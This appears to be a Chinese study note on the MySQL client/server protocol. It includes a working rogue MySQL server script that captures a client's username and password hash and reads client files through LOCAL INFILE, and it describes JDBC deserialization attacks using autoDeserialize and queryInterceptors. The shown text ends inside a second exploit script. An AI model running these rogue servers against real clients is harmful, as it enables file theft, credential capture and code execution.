MYSQL协议
mysql协议大体上分3部分
- payload长度 (3字节)
- 序列ID(1字节)
- payload包长度
握手
这一阶段主要
- 交换客户端和服务器的能力
- 判断是否需要使用SSL
- 对客户端进行验证
服务端挥手
从 3.21.0 开始,使用Protocol::HandshakeV10
数据结构如下
-
1字节 协议版本,使用v10,所以这个字段值总是10
-
0字节 结尾的字符串形式的服务端版本信息
-
4字节线程id(连接id?)
-
8字节 字符串形式 认证插件提供数据的前 8 个字节
-
1字节 填充
-
2字节 能力标识位第一部分
-
CLIENT_LONG_PASSWORD 使用改进的身份认证版本
-
CLIENT_FOUND_ROWS 发送 EOF_Packet 中找到的行而不是受影响的行
-
CLIENT_LONG_FLAG 获取所有的列标识,对于服务端,即支持更长的标志。
-
CLIENT_CONNECT_WITH_DB 数据库(模式)名称可以在连接时在握手响应数据包中指定
-
CLIENT_NO_SCHEMA 不允许使用 database.table.column
-
CLIENT_COMPRESS 支持压缩
-
CLIENT_ODBC ODBC 行为的特殊处理。
-
CLIENT_LOCAL_FILES 可以使用LOAD DATA LOCAL。服务端即,启用 LOAD DATA|XML 的 LOCAL INFILE 请求。客户端即,将处理 LOCAL INFILE 请求
-
CLIENT_IGNORE_SPACE 忽略
(
之前的空格 -
CLIENT_PROTOCOL_41 支持(服务端)或使用(客户端)4.1协议
-
CLIENT_INTERACTIVE 支持交互式和非交互式客户端(服务端)或表示交互式(客户端)
-
CLIENT_SSL 支持SSL(服务端)或使用SSL(客户端)
-
CLIENT_IGNORE_SIGPIPE 如果发生网络故障,不要发出 SIGPIPE(仅客户端标识)
-
CLIENT_TRANSACTIONS 在 OK_Packet / EOF_Packet 中发送状态标志(服务端)或需要 OK_Packet / EOF_Packet 中的状态标志(客户端)
-
CLIENT_RESERVED 4.1 协议的旧标志
-
CLIENT_RESERVED2 :4.1 身份验证或安全连接的旧标志
-
-
1字节 服务端字符集
-
2字节 状态标识位
- SERVER_STATUS_IN_TRANS 当多语句事务已启动时引发
- SERVER_STATUS_AUTOCOMMIT 服务器处于自动提交模式
- SERVER_MORE_RESULTS_EXISTS 多查询 - 存在下一个查询
- (More Results ...)
- SERVER_QUERY_NO_GOOD_INDEX_USED
- SERVER_QUERY_NO_INDEX_USED
- SERVER_STATUS_CURSOR_EXISTS 服务器能够满足客户端请求并打开只读不可滚动游标进行查询
- SERVER_STATUS_LAST_ROW_SENT 只读游标耗尽
- SERVER_STATUS_DB_DROPPED 数据库被删除
- SERVER_STATUS_NO_BACKSLASH_ESCAPES 没用反斜杠转义?
- SERVER_STATUS_METADATA_CHANGED 在预处理(prepared )的语句重新prepare之后,发现新语句返回不同数量的结果集列。
- SERVER_QUERY_WAS_SLOW 查询过慢
- SERVER_PS_OUT_PARAMS 标记包含输出参数值的 ResultSet
- SERVER_STATUS_IN_TRANS_READONLY 如果启动的多语句事务是只读事务,则与SERVER_STATUS_IN_TRANS 同时设置
- SERVER_SESSION_STATE_CHANGED 服务器上的状态信息之一由于执行了最后一条语句而发生了更改。
-
2字节 能力标识位第二部分
- 启用/禁用多 stmt 支持。 每个 COM_QUERY 和 COM_STMT_PREPARE 可以处理多个语句(服务端)或可以为每个 COM_QUERY 和 COM_STMT_PREPARE 发送多个语句(客户端)
- 启用/禁用多结果。对于服务端,可以发送 COM_QUERY 的多个结果集,如果服务器需要发送它们而客户端不支持它们,则会出错。对于客户端表示是否可以处理 COM_QUERY 的多个结果集
- CLIENT_PS_MULTI_RESULTS 对于服务端,可发送 COM_STMT_EXECUTE 的多个结果集。对于客户端,可处理COM_STMT_EXECUTE 的多个结果集
- CLIENT_PLUGIN_AUTH。 Server: 在初始握手数据包中发送额外数据并支持可插拔身份验证协议。Client: 支持身份验证插件
- CLIENT_CONNECT_ATTRS。 Server: 允许握手响应中的连接属性。Client: 在握手响应中发送连接属性。
- CLIENT_PLUGIN_AUTH_LENENC_CLIENT_DATA。当更改默认插件的功能要求 Protocol::HandshakeResponse41 paclet 中的初始密码字段可以任意大小时,4.1协议客户端发送到服务器的auth-data-field的长度限制为255字节,客户端需要标识该字段,并将相关字段的类型更改为真实长度编码字符串。
- CLIENT_CAN_HANDLE_EXPIRED_PASSWORDS Server: 支持过期密码扩展。Client: 可以处理过期的密码
- CLIENT_SESSION_TRACK Server:可以在状态标识位中设置
SERVER_SESSION_STATE_CHANGED
并在 OK_Packet 中发送会话状态信息. Client:期望服务器在 OK_Packet 中发送会话状态信息。 - CLIENT_DEPRECATE_EOF Server: 可以在文本结果集之后发送 OK Client:在文本结果集的结果集行之后需要 OK_Packet(而不是 EOF_Packet)。
- CLIENT_OPTIONAL_RESULTSET_METADATA 表明客户端可以处理结果集中的可选元数据信息。
- CLIENT_ZSTD_COMPRESSION_ALGORITHM 此功能标志用于在客户端和服务器之间发送 zstd 压缩级别,前提是客户端和服务器都启用了此标志。
- CLIENT_QUERY_ATTRIBUTES。支持将查询参数可选扩展至 COM_QUERY 和 COM_STMT_EXECUTE 数据包中
- MULTI_FACTOR_AUTHENTICATION 支持多因素身份验证。Server: 除最后一个因素认证外,每第 n 个因素认证方法成功后,服务器都会发送 AuthNextFactor 数据包。Client: 客户端读取服务器发送的AuthNextFactor数据包并启动下一个因素身份验证方法
- CLIENT_CAPABILITY_EXTENSION 该标志将被保留以将 32 位功能结构扩展到 64 位。
- CLIENT_SSL_VERIFY_SERVER_CERT (仅客户端)验证服务器证书
- CLIENT_REMEMBER_OPTIONS (仅客户端)连接失败后请勿重置选项
如果CLIENT_PLUGIN_AUTH flag为1
- 1字节 auth_plugin_data_len 。 如果 auth_plugin_data_len > 0,结合uth_plugin_data的长度
否则
-
1字节的 00字节常量
-
10字节的 保留位
-
MAX(13, auth-plugin-data_len - 8)
字节的 认证插件剩余部分的数据 -
0字节结尾认证插件名称
实例
客户端握手响应
客户端响应有两个格式,Protocol::HandshakeResponse320
和[Protocol::HandshakeResponse41]
旧客户端使用的旧握手响应数据包,或者服务器不支持 CLIENT_PROTOCOL_41 功能标志标志
HandshakeResponse320
- 2字节 客户端能力标识
- 3字节 最大数据包大小
- 0字节结尾的字符串 登录用户名
如果CLIENT_CONNECT_WITH_DB
为1
- 0字节结尾的字符串 授权响应,内容为由插件名称字段指示的身份验证方法生成的不透明身份验证响应数据。
- 0字节结尾的字符串 数据库名称 使用字符集字段指示的字符集来解释该字符串。
否则
- 只有授权响应字段
HandshakeResponse41
- 4字节 客户端能力标识
- 4字节 最大数据包大小
- 1字节 客户端字符集
- 23字节 0字节填充
- 0字节结尾字符串 登录用户名
如果CLIENT_PLUGIN_AUTH_LENENC_CLIENT_DATA为1
- 授权响应 ,由插件名称字段指示的身份验证方法生成的不透明身份验证响应数据。
否则
- 1字节 auth_response 的长度
- 授权响应 ,由插件名称字段指示的身份验证方法生成的不透明身份验证响应数据。
如果 CLIENT_CONNECT_WITH_DB为1
- 0字节结尾字符串 数据库名称
如果 CLIENT_PLUGIN_AUTH 为1
- 0字节结尾的字符串,客户端插件名称。客户端用于在此数据包中生成身份验证响应值的身份验证方法(UTF-8 字符串)。
如果 CLIENT_CONNECT_ATTRS为1
- 所有键值的长度
- 键长 键名 值长 值名
- ....
实例
mysql_native_password
import hashlib
def calculate_response(password:str, salt:str):
sh1 = hashlib.sha1(password.encode("utf-8")).digest()
sh2 = hashlib.sha1(sh1).digest()
sh3 = hashlib.sha1()
sh3.update(salt.encode("utf-8"))
sh3.update(sh2)
response = bytes(a ^ b for a, b in zip(hashlib.sha1(password.encode("utf-8")).digest(), sh3.digest()))
print(response.hex())
password = "password"
#20字节salt
salt = "\x01\x0d\x79\x67\x42\x18\x3e\x1a\x66\x29\x7c\x21\x0e\x1a\x4c\x01\x45\x6b\x51\x0d"
response = calculate_response(password, salt)
在4.1-5.7服务器和客户端默认的认证方法是mysql_native_password,在8.0服务器和客户端中,默认的身份验证方法是Caching_sha2_password信息,在 9.0 服务器中,mysql_native_password 已从服务器代码中删除。出于兼容性原因,它仍然存在于客户端,但它从内置形式转换为共享形式。
返回包
三种类型,OK_Packet,ERR_Packet,EOF_Packet。从 MySQL 5.7.5 开始,OK 数据包也用于指示 EOF,EOF 数据包已被弃用
OK_Packet
- 1字节 header 表示返回包类型 0x00或0xEF
- 1~8字节 affected_rows 表示受影响的行数
- 1~8字节 last_insert_id 表示最后插入的id
如果 CLIENT_PROTOCOL_41 为1
- 2字节 服务端状态标识
- 2字节 警告的次数
如果 CLIENT_TRANSACTIONS 为 1
- 2字节 服务状态标识符
如果 CLIENT_SESSION_TRACK为 1
- 状态信息
如果 SERVER_SESSION_STATE_CHANGED
- 会话状态信息
否则
- 人类可读的状态信息
ERR_Packet
- 1字节 header 0xFF
- 2字节 错误码
如果支持41协议
-
1字节字符串 SQL状态标记
-
5字节字符串 SQL state
-
0字节结尾的字符串,可读的错误消息error_message
EOF_Packet
和OK_Packetd大致一样。
COM_QUERY
- 1字节 命令 0x03 表示 COM_QUERY
如果设置 CLIENT_QUERY_ATTRIBUTES
-
参数个数
-
参数集数量
-
如果参数个数>0
- NULL位图,长度= (num_params + 7) / 8
- 新参数绑定标志。 总是1
- 如果new_params_bind_flag为1,遍历parameter
- 2字节 参数类型和标志。参数类型,MSB 保留用于无符号标志
- 参数名称,字符串类型
- 参数值 (二进制协议值)
-
query 查询字符串 ,要执行的 SQL 查询的文本。
/* mysql-connector-j-9.1.0 (Revision: cf2917ea44ae2e43a4514a33771035aa99de73bf) */
SELECT @@session.auto_increment_increment AS auto_increment_increment,
@@character_set_client AS character_set_client,
@@character_set_connection AS character_set_connection,
@@character_set_results AS character_set_results,
@@character_set_server AS character_set_server,
@@collation_server AS collation_server,
@@collation_connection AS collation_connection,
@@init_connect AS init_connect,
@@interactive_timeout AS interactive_timeout,
@@license AS license,
@@lower_case_table_names AS lower_case_table_names,
@@max_allowed_packet AS max_allowed_packet,
@@net_write_timeout AS net_write_timeout,
@@performance_schema AS performance_schema,
@@query_cache_size AS query_cache_size,
@@query_cache_type AS query_cache_type,
@@sql_mode AS sql_mode,
@@system_time_zone AS system_time_zone,
@@time_zone AS time_zone,
@@transaction_isolation AS transaction_isolation,
@@wait_timeout AS wait_timeout
COM_QUERY Response
请求响应包可以是以下4种包种的一个
- ERR_PACKET
- OK_PACKET
- TEXT_Resultset
- LOCAL INFILE Request
ERR_PACKET 和 OK_PACKET略,主要看TEXT_Resultset和LOCAL INFILE Request
TEXT_Resultset
由两部分组成
- 列定义(或者叫元数据)
- 实际行数(actual rows)
列定义以包含列计数的数据包开始,后面跟着与列数一样多的列定义数据包
如果 CLIENT_OPTIONAL_RESULTSET_METADATA 为1
-
1字节 指定是否跳过元数据的标志
-
column_count 要遵循的列定义数
-
if (not (capabilities & CLIENT_OPTIONAL_RESULTSET_METADATA)) or
metadata_follows
== RESULTSET_METADATA_FULL -
column_count * 列定义 个字节的字段元数据。每个字段有一个列定义,最多为column_count
-
如果CLIENT_DEPRECATE_EOF为0
- 使用EOF_PacketEOF_数据包,标识数据元结束
-
一个或多个文本结果集行,即The row data ,每个文本结果集行包含column_count值
-
存在错误
- 发送ERR_Packet 数据包
-
CLIENT_DEPRECATE_EOF 为1
- 发送OK_Packet 数据包
-
都不符合
- 使用EOF_Packet 数据包
实例
Packet Length
为除了packet信息的包长度,Packet Number
为包序列号,column count
中的Number fields
表示接下来有21个packet
下面便是21个列定义包
Column Definition
数据结构如下
- catalog 通常来说都是
def
- schema ,数据库名称
- virtual talble name,虚表名称
- orinial name,真实表名
- virtual common name,虚列名
- original column name,真实列名
- 固定的 0x0c
- chatset number 列字符集
- length 字段的最大长度
- type,enum_field_types 中定义的列类型
- column Definition Flags
- NOT_NULL_FLAG 字段不能为空
- PRI_KEY_FLAG 字段是主键的一部分
- UNIQUE_KEY_FLAG 字段是唯一键的一部分
- MULTIPLE_KEY_FLAG 字段是键的一部分
- BLOB_FLAG 字段为字段是blob
- UNSIGNED_FLAG 字段是无符号的
- ZEROFILL_FLAG 字段为零填充
- BINARY_FLAG 字段是二进制数据
- ENUM_FLAG 字段为枚举类型
- AUTO_INCREMENT_FLAG 自增字段
- TIMESTAMP_FLAG 字段是时间戳
- SET_FLAG 字段为集合
- NO_DEFAULT_VALUE_FLAG 字段无默认值
- ON_UPDATE_NOW_FLAG 字段在UPDATE时设置为 NOW
- NUM_FLAG 字段为num(对于客户端)
- PART_KEY_FLAG Part of some key. ?
- GROUP_FLAG group字段
- UNIQUE_FLAG 由 sql_yacc 使用
- BINCMP_FLAG 由 sql_yacc 使用
- GET_FIXED_FIELDS_FLAG 用于获取项目树中的字段
- FIELD_IN_PART_FUNC_FLAG 分区函数的字段部分
- FIELD_IN_ADD_INDEX TABLE 对象中的字段,用于表示已更改表格的新版本,它参与了新添加的索引
- FIELD_IS_RENAMED 字段正被重命名
- FIELD_FLAGS_STORAGE_MEDIA 字段存储媒介(?), bit 22-23.
- FIELD_FLAGS_STORAGE_MEDIA_MASK
- FIELD_FLAGS_COLUMN_FORMAT 字段列格式,位 24-25。
- FIELD_FLAGS_COLUMN_FORMAT_MASK
- FIELD_IS_DROPPED 字段正在被删除。
- EXPLICIT_NULL_FLAG 字段由用户显式指定为NULL。
- NOT_SECONDARY_FLAG 字段将不会载入二级引擎。
- FIELD_IS_INVISIBLE 字段被用户明确标记为不可见
- decimals 最大显示小数位数: 0x00 表示整数和静态字符串 0x1f 表示动态字符串、双精度、浮点 0x00 到 0x51为小数
The row Packet
21个列的查询结果,以及一个EOF_Packet
LOCAL INFILE Request
LOCAL 关键字触发服务器设置 LOCAL INFILE 请求数据包,要求客户端通过 LOCAL INFILE 数据响应发送文件
LOCAL INFILE数据包格式比较简单,一字节0xfb
,为packet表示符。后面紧跟着文件名,表示客户端应发送的文件的路径。
客户端会将文件内容放在payload字段,然后再发一个空的packet表示结束
mysql_server 恶意文件读取就是在LOCAL INFILE Request
阶段指定文件名,让client发过来。
注意需要客户端设置允许LoadLocalInfile,在mysql驱动中要设置 allowLoadLocalInfile=true
evil_mysql
import socket
from concurrent.futures import ThreadPoolExecutor
import threading
import time
import struct
import sys
class ColorOutput:
"""颜色输出类,用于输出不同颜色的提示信息"""
# 前景色
FG_BLACK = "\033[30m"
FG_RED = "\033[31m"
FG_GREEN = "\033[32m"
FG_YELLOW = "\033[33m"
FG_BLUE = "\033[34m"
FG_MAGENTA = "\033[35m"
FG_CYAN = "\033[36m"
FG_WHITE = "\033[37m"
# 样式
RESET = "\033[0m"
BOLD = "\033[1m"
@staticmethod
def success(text):
"""成功信息-绿色"""
return f"{ColorOutput.FG_GREEN}[SUCCESS]: {text}{ColorOutput.RESET}"
@staticmethod
def warning(text):
"""警告信息-黄色"""
return f"{ColorOutput.FG_YELLOW}[WARNING]: {text}{ColorOutput.RESET}"
@staticmethod
def error(text):
"""错误信息-红色"""
return f"{ColorOutput.FG_RED}[ERROR]: {text}{ColorOutput.RESET}"
@staticmethod
def info(text):
"""普通信息-蓝色"""
return f"{ColorOutput.FG_BLUE}[INFO]: {text}{ColorOutput.RESET}"
@staticmethod
def debug(text):
"""调试信息-紫色"""
return f"{ColorOutput.FG_MAGENTA}[DEBUG]: {text}{ColorOutput.RESET}"
class Greeting:
def __init__(self):
self.package_length = b"\x4a\x00\x00"
self.packet_id = b"\x00"
self.protocol_version = b"\x0a"
self.server_version = b"5.7.26\x00"
self.connection_id = b"\x06\x00\x00\x00"
self.auth_plugin_data = b"\xff"*8 + b"\x00"
self.capability_flags = b"\xff\xf7"
self.character_set = b"\xc0"
self.status_flags = b"\x02\x00"
self.capability_flags_2 = b"\xff\x81"
self.auth_plugin_data_len = b"\x15"
self.reserved = b"\x00"*10
self.auth_plugin_data_part_2 = b"\xff"*12 + b"\x00"
self.auth_plugin_name = b"mysql_native_password\x00"
def to_bytes(self):
return b"".join([
self.package_length,
self.packet_id,
self.protocol_version,
self.server_version,
self.connection_id,
self.auth_plugin_data,
self.capability_flags,
self.character_set,
self.status_flags,
self.capability_flags_2,
self.auth_plugin_data_len,
self.reserved,
self.auth_plugin_data_part_2,
self.auth_plugin_name
])
class Local_INFILE_Request:
def __init__(self,filename):
self.packet_id = b"\x01"
self.response_code = b"\xfb"
self.filename = filename.encode()
self.res = b"".join([self.response_code,self.filename])
self.res_len = len(self.res).to_bytes(3,"little")
self.response_body = b"".join([self.res_len,self.packet_id,self.res])
def to_bytes(self):
return self.response_body
class Auth_Response:
def __init__(self):
self.packet_id = b"\x02"
self.response_code = b"\x00" # OK
self.affected_rows = b"\x00\x00"
self.server_status_flags = b"\x02\x00"
self.warning_count = b"\x00\x00"
self.res = b"".join([self.response_code,self.affected_rows,self.server_status_flags,self.warning_count])
self.res_len = len(self.res).to_bytes(3,"little")
self.response_body = b"".join([self.res_len,self.packet_id,self.res])
def to_bytes(self):
return self.response_body
def get_bits(hex_value):
# 将16进制字符串转换为整数
num = int(hex_value, 16)
# 获取该数的二进制表示(去掉前缀 '0b')
bin_representation = bin(num)[2:].zfill(4) # 使用zfill补齐到8位
# 返回每一位的比特值
bits = [int(bit) for bit in bin_representation]
return bits
def Greeting_Response_Prase(data):
print(ColorOutput.info(str("收到认证包:"+str(data))),flush=True)
cpos =0
client_capability_flags = hex(struct.unpack("<H",data[cpos:cpos+2])[0])
print(ColorOutput.info(str("客户端能力标志:"+str(client_capability_flags))),flush=True)
# print(get_bits(client_capability_flags[-1]))
haveTable = True if get_bits(client_capability_flags[-1])[::-1][3]==1 else False
cpos += 2
extended_client_capabilities = hex(struct.unpack("<H",data[cpos:cpos+2])[0])
print(ColorOutput.info(str("扩展客户端能力标志:"+str(extended_client_capabilities))),flush=True)
cpos += 2
max_packet_size = struct.unpack("<I",data[cpos:cpos+4])[0]
print(ColorOutput.info(str("最大包大小:"+str(max_packet_size))),flush=True)
cpos += 4
character_set = struct.unpack("<B",data[cpos:cpos+1])[0]
print(ColorOutput.info(str("字符集:"+str(character_set))),flush=True)
cpos += 1
client_reserved = struct.unpack("<23s",data[cpos:cpos+23])[0]
print(ColorOutput.info(str("客户端保留:"+str(client_reserved))),flush=True)
cpos += 23
data = data[cpos:]
null_pos = data.find(b"\x00")
print(ColorOutput.success(str("客户端用户名: "+str(data[:null_pos].decode("utf-8")))),flush=True)
ccpos = 0
ccpos += null_pos + 1
client_password_hash_len = struct.unpack("<B",data[ccpos:ccpos+1])[0]
print(ColorOutput.info(str("客户端密码哈希长度: "+str(client_password_hash_len))),flush=True)
ccpos += 1
client_password_hash = data[ccpos:ccpos+client_password_hash_len].hex()
print(ColorOutput.success(str("客户端密码哈希: "+str(client_password_hash))),flush=True)
ccpos += client_password_hash_len
data = data[ccpos:]
if haveTable:
client_table_name_len = data.find(b"\x00")
client_table_name = data[:client_table_name_len].decode("utf-8")
print(ColorOutput.success(str("客户端表名: "+str(client_table_name))),flush=True)
ccpos = client_table_name_len + 1
data = data[ccpos:]
client_auth_plugin_name_len = data.find(b"\x00")
client_auth_plugin_name = data[:client_auth_plugin_name_len].decode("utf-8")
print(ColorOutput.success(str("客户端认证插件名称: "+str(client_auth_plugin_name))),flush=True)
cccpos = client_auth_plugin_name_len +1
client_connection_attributes_len = struct.unpack("<B",data[cccpos:cccpos+1])[0]
print(ColorOutput.info(str("客户端连接属性长度: "+str(client_connection_attributes_len))),flush=True)
cccpos += 1
client_connection_attributes = data[cccpos:]
arrtibute_prase(client_connection_attributes,client_connection_attributes_len)
def arrtibute_prase(data,length):
cpos = 0
while cpos < length:
attribute_length = struct.unpack("<B",data[cpos:cpos+1])[0]
cpos += 1
attribute_value = data[cpos:cpos+attribute_length]
print(ColorOutput.info(str(attribute_value.decode("utf-8"))),flush=True)
cpos += attribute_length
def read_mysql_packet(sock):
"""读取一个完整的 MySQL 数据包"""
# 读取包头(4字节)
header = sock.recv(4)
if not header or len(header) < 4:
return None
# 前3字节是包长度(小端序)
packet_length = int.from_bytes(header[:3], byteorder='little')
print(ColorOutput.info(str("请求包长度:"+str(packet_length))))
# 第4字节是序列号
sequence_id = header[3]
# 读取包体
packet_body = b""
remaining = packet_length
while remaining > 0:
chunk = sock.recv(remaining)
if not chunk:
return None
packet_body += chunk
remaining -= len(chunk)
return packet_body
def handle_client(client_socket,filename):
try:
client_socket.sendall(Greeting().to_bytes())
# 读取客户端的认证响应包
auth_response = read_mysql_packet(client_socket)
if auth_response:
try:
Greeting_Response_Prase(auth_response)
except Exception as e:
print(ColorOutput.error(str("解析认证包时出错: "+str(e))),flush=True)
client_socket.sendall(Auth_Response().to_bytes())
file_data = read_mysql_packet(client_socket)
print(ColorOutput.info(str("查询语句:"+str(file_data))),flush=True)
client_socket.sendall(Local_INFILE_Request(filename).to_bytes())
file_data = read_mysql_packet(client_socket)
print(ColorOutput.warning(str("文件数据:"+str(file_data))),flush=True)
except Exception as e:
print(ColorOutput.error(str("处理客户端请求时出错: "+str(e))),flush=True)
finally:
client_socket.close()
def client_handler(server,filename):
with ThreadPoolExecutor(max_workers=10) as executor:
while True:
try:
client_socket, addr = server.accept()
executor.submit(handle_client, client_socket,filename)
except:
# 当server socket被关闭时,退出循环
break
def start_server(port,filename):
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind(("0.0.0.0", port))
server.listen(5)
print("Server listening on port 3306")
handler_thread = threading.Thread(target=client_handler, args=(server,filename))
handler_thread.daemon = True
handler_thread.start()
try:
while True:
time.sleep(10)
# print("Server is running")
except KeyboardInterrupt:
print("\nCtrl+C pressed")
server.close()
print("Server shutting down")
if __name__ == "__main__":
start_server(3306,"C:/flag")
JDBC Attack
jdbc attack 主要关注点也是在连接参数上
Mysql Connector
allowLoadLocalInfile
如上面evil_mysql,略
在文档中可以到,除了allowLoadLocalInfile
之外,还有 allowUrlInLocalInfile
,允许"LOAD DATA LOCAL INFILE" 语句中的 URL。也就是可以达到有回显ssrf
的效果
autoDeserialize
autoDeserialize参数会自动反序列化服务端返回的参数,造成反序列化漏洞
该参数在mysql驱动8.1.0提出弃用,在8.2.0正式弃用
在最新的mysql驱动文档中已经删除了autoDeserialize
参数相关信息,但在wayback Machine
中可以找到相关信息
queryInterceptors
在com.mysql.cj.jdbc.result.ResultSetImpl
是在mysql中实现了java.sql.ResultSet
的类,其getObject方法
在autoDeserialize为true时会反序列化数据。
但默认情况下不会调用该函数,我们需要在连接参数中找到一个可以触发该函数的参数。
最终发现的参数是queryInterceptors
以逗号分隔的类列表,这些类实现“com.mysql.cj.interceptors.QueryInterceptor”,拦截查询执行并能够影响结果。查询迭代器是可链接的:当前拦截器返回的结果将按照此属性中指定的顺序从左到右传递到链中的下一个拦截器
com.mysql.cj.interceptors.QueryInterceptor 接口定义的preProcess和postProcess分别在查询执行前后执行
该接口的实现类有
在ServerStatusDiffInterceptor
类中的相关接口实现都会调用,执行SHOW SESSION STATUS
然后调用ResultSetUtil.resultSetToMap
而ResultSetUtil.resultSetToMap
调用了ResultSet
类的getObject
方法,最终实现了反序列化攻击(可以看到这里获取了两个字段的信息)
所以当客户端连接参数为 autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
服务端针对SHOW SESSION STATUS
查询语句返回恶意对象即可实现反序列化攻击。我们将上面文件读取的脚本做适当修改。
import socket
from concurrent.futures import ThreadPoolExecutor
import threading
import time
import struct
from enum import Enum
import subprocess
class FieldType(Enum):
MYSQL_TYPE_DECIMAL = 0,
MYSQL_TYPE_TINY = 1,
MYSQL_TYPE_SHORT = 2,
MYSQL_TYPE_LONG = 3,
MYSQL_TYPE_FLOAT = 4,
MYSQL_TYPE_DOUBLE = 5,
MYSQL_TYPE_NULL = 6,
MYSQL_TYPE_TIMESTAMP = 7,
MYSQL_TYPE_LONGLONG = 8,
MYSQL_TYPE_INT24 = 9,
MYSQL_TYPE_DATE = 10,
MYSQL_TYPE_TIME = 11,
MYSQL_TYPE_DATETIME = 12,
MYSQL_TYPE_YEAR = 13,
MYSQL_TYPE_NEWDATE = 14,
MYSQL_TYPE_VARCHAR = 15,
MYSQL_TYPE_BIT = 16,
MYSQL_TYPE_TIMESTAMP2 = 17,
MYSQL_TYPE_DATETIME2 = 18,
MYSQL_TYPE_TIME2 = 19,
MYSQL_TYPE_TYPED_ARRAY = 20,
MYSQL_TYPE_VECTOR = 242,
MYSQL_TYPE_INVALID = 243,
MYSQL_TYPE_BOOL = 244,
MYSQL_TYPE_JSON = 245,
MYSQL_TYPE_NEWDECIMAL = 246,
MYSQL_TYPE_ENUM = 247,
MYSQL_TYPE_SET = 248,
MYSQL_TYPE_TINY_BLOB = 249,
MYSQL_TYPE_MEDIUM_BLOB = 250,
MYSQL_TYPE_LONG_BLOB = 251,
MYSQL_TYPE_BLOB = 252,
MYSQL_TYPE_VAR_STRING = 253,
MYSQL_TYPE_STRING = 254,
MYSQL_TYPE_GEOMETRY = 255
class QueryType(Enum):
SLEEP = b"\x00"
QUIT = b"\x01"
INIT_DB = b"\x02"
QUERY = b"\x03"
FIELD_LIST = b"\x04"
CREATE_DB = b"\x05"
DROP_DB = b"\x06"
REFRESH = b"\x07"
SHUTDOWN = b"\x08"
STATISTICS = b"\x09"
PROCESS_INFO = b"\x0a"
CONNECT = b"\x0b"
PROCESS_KILL = b"\x0c"
DEBUG = b"\x0d"
PING = b"\x0e"
TIME = b"\x0f"
DELAYED_INSERT = b"\x10"
CHANGE_USER = b"\x11"
BINLOG_DUMP = b"\x12"
TABLE_DUMP = b"\x13"
CONNECT_OUT = b"\x14"
REGISTER_SLAVE = b"\x15"
STMT_PREPARE = b"\x16"
STMT_EXECUTE = b"\x17"
STMT_SEND_LONG_DATA = b"\x18"
STMT_CLOSE = b"\x19"
STMT_RESET = b"\x1a"
SET_OPTION = b"\x1b"
STMT_FETCH = b"\x1c"
DAEMON = b"\x1d"
BINLOG_DUMP_GTID = b"\x1e"
RESET_CONNECTION = b"\x1f"
class ColorOutput:
"""颜色输出类,用于输出不同颜色的提示信息"""
# 前景色
FG_BLACK = "\033[30m"
FG_RED = "\033[31m"
FG_GREEN = "\033[32m"
FG_YELLOW = "\033[33m"
FG_BLUE = "\033[34m"
FG_MAGENTA = "\033[35m"
FG_CYAN = "\033[36m"
FG_WHITE = "\033[37m"
# 样式
RESET = "\033[0m"
BOLD = "\033[1m"
@staticmethod
def success(text):
"""成功信息-绿色"""
return f"{ColorOutput.FG_GREEN}[SUCCESS]: {text}{ColorOutput.RESET}"
@staticmethod
def warning(text):
"""警告信息-黄色"""
return f"{ColorOutput.FG_YELLOW}[WARNING]: {text}{ColorOutput.RESET}"
@staticmethod
def error(text):
"""错误信息-红色"""
return f"{ColorOutput.FG_RED}[ERROR]: {text}{ColorOutput.RESET}"
@staticmethod
def info(text):
"""普通信息-蓝色"""
return f"{ColorOutput.FG_BLUE}[INFO]: {text}{ColorOutput.RESET}"
@staticmethod
def debug(text):
"""调试信息-紫色"""
return f"{ColorOutput.FG_MAGENTA}[DEBUG]: {text}{ColorOutput.RESET}"
class Greeting:
def __init__(self):
self.package_length = b"\x4a\x00\x00"
self.packet_id = b"\x00"
self.protocol_version = b"\x0a"
self.server_version = b"5.7.26\x00"
self.connection_id = b"\x06\x00\x00\x00"
self.auth_plugin_data = b"\xff"*8 + b"\x00"
self.capability_flags = b"\xff\xf7"
self.character_set = b"\xc0"
self.status_flags = b"\x02\x00"
self.capability_flags_2 = b"\xff\x81"
self.auth_plugin_data_len = b"\x15"
self.reserved = b"\x00"*10
self.auth_plugin_data_part_2 = b"\xff"*12 + b"\x00"
self.auth_plugin_name = b"mysql_native_password\x00"
def to_bytes(self):
return b"".join([
self.package_length,
self.packet_id,
self.protocol_version,
self.server_version,
self.connection_id,
self.auth_plugin_data,
self.capability_flags,
self.character_set,
self.status_flags,
self.capability_flags_2,
self.auth_plugin_data_len,
self.reserved,
self.auth_plugin_data_part_2,
self.auth_plugin_name
])
class Local_INFILE_Request:
def __init__(self,filename):
self.packet_id = b"\x01"
self.response_code = b"\xfb"
self.filename = filename.encode()
self.res = b"".join([self.response_code,self.filename])
self.res_len = len(self.res).to_bytes(3,"little")
self.response_body = b"".join([self.res_len,self.packet_id,self.res])
def to_bytes(self):
return self.response_body
class Auth_Response:
def __init__(self):
self.packet_id = b"\x02"
self.response_code = b"\x00" # OK
self.affected_rows = b"\x00\x00"
self.server_status_flags = b"\x02\x00"
self.warning_count = b"\x00\x00"
self.res = b"".join([self.response_code,self.affected_rows,self.server_status_flags,self.warning_count])
self.res_len = len(self.res).to_bytes(3,"little")
self.response_body = b"".join([self.res_len,self.packet_id,self.res])
def to_bytes(self):
return self.response_body
class OK_ID_Packet:
def __init__(self,id):
self.packet_id = id.to_bytes(1,"little")
self.response_code = b"\x00" # OK
self.affected_rows = b"\x00\x00"
self.server_status_flags = b"\x02\x00"
self.warning_count = b"\x00\x00"
self.res = b"".join([self.response_code,self.affected_rows,self.server_status_flags,self.warning_count])
self.res_len = len(self.res).to_bytes(3,"little")
self.response_body = b"".join([self.res_len,self.packet_id,self.res])
def to_bytes(self):
return self.response_body
class EOF_ID_Packet:
def __init__(self,id):
self.packet_id = id.to_bytes(1,"little")
self.response_code = b"\xfe" # OK
self.server_status_flags = b"\x02\x00"
self.warning_count = b"\x00\x00"
self.res = b"".join([self.response_code,self.warning_count,self.server_status_flags])
self.res_len = len(self.res).to_bytes(3,"little")
self.response_body = b"".join([self.res_len,self.packet_id,self.res])
def to_bytes(self):
return self.response_body
class TextResultSet_Response:
def __init__(self):
pass
def to_bytes(self,data,len):
column_packet = Column_Count_Packet(1).to_bytes()
field_packet = Field_Packet(len).to_bytes()
row_packet = Row_Packet(3,data).to_bytes()
return b"".join([column_packet,field_packet,row_packet])
class Column_Count_Packet():
def __init__(self,count:int):
self.count = count
def to_bytes(self):
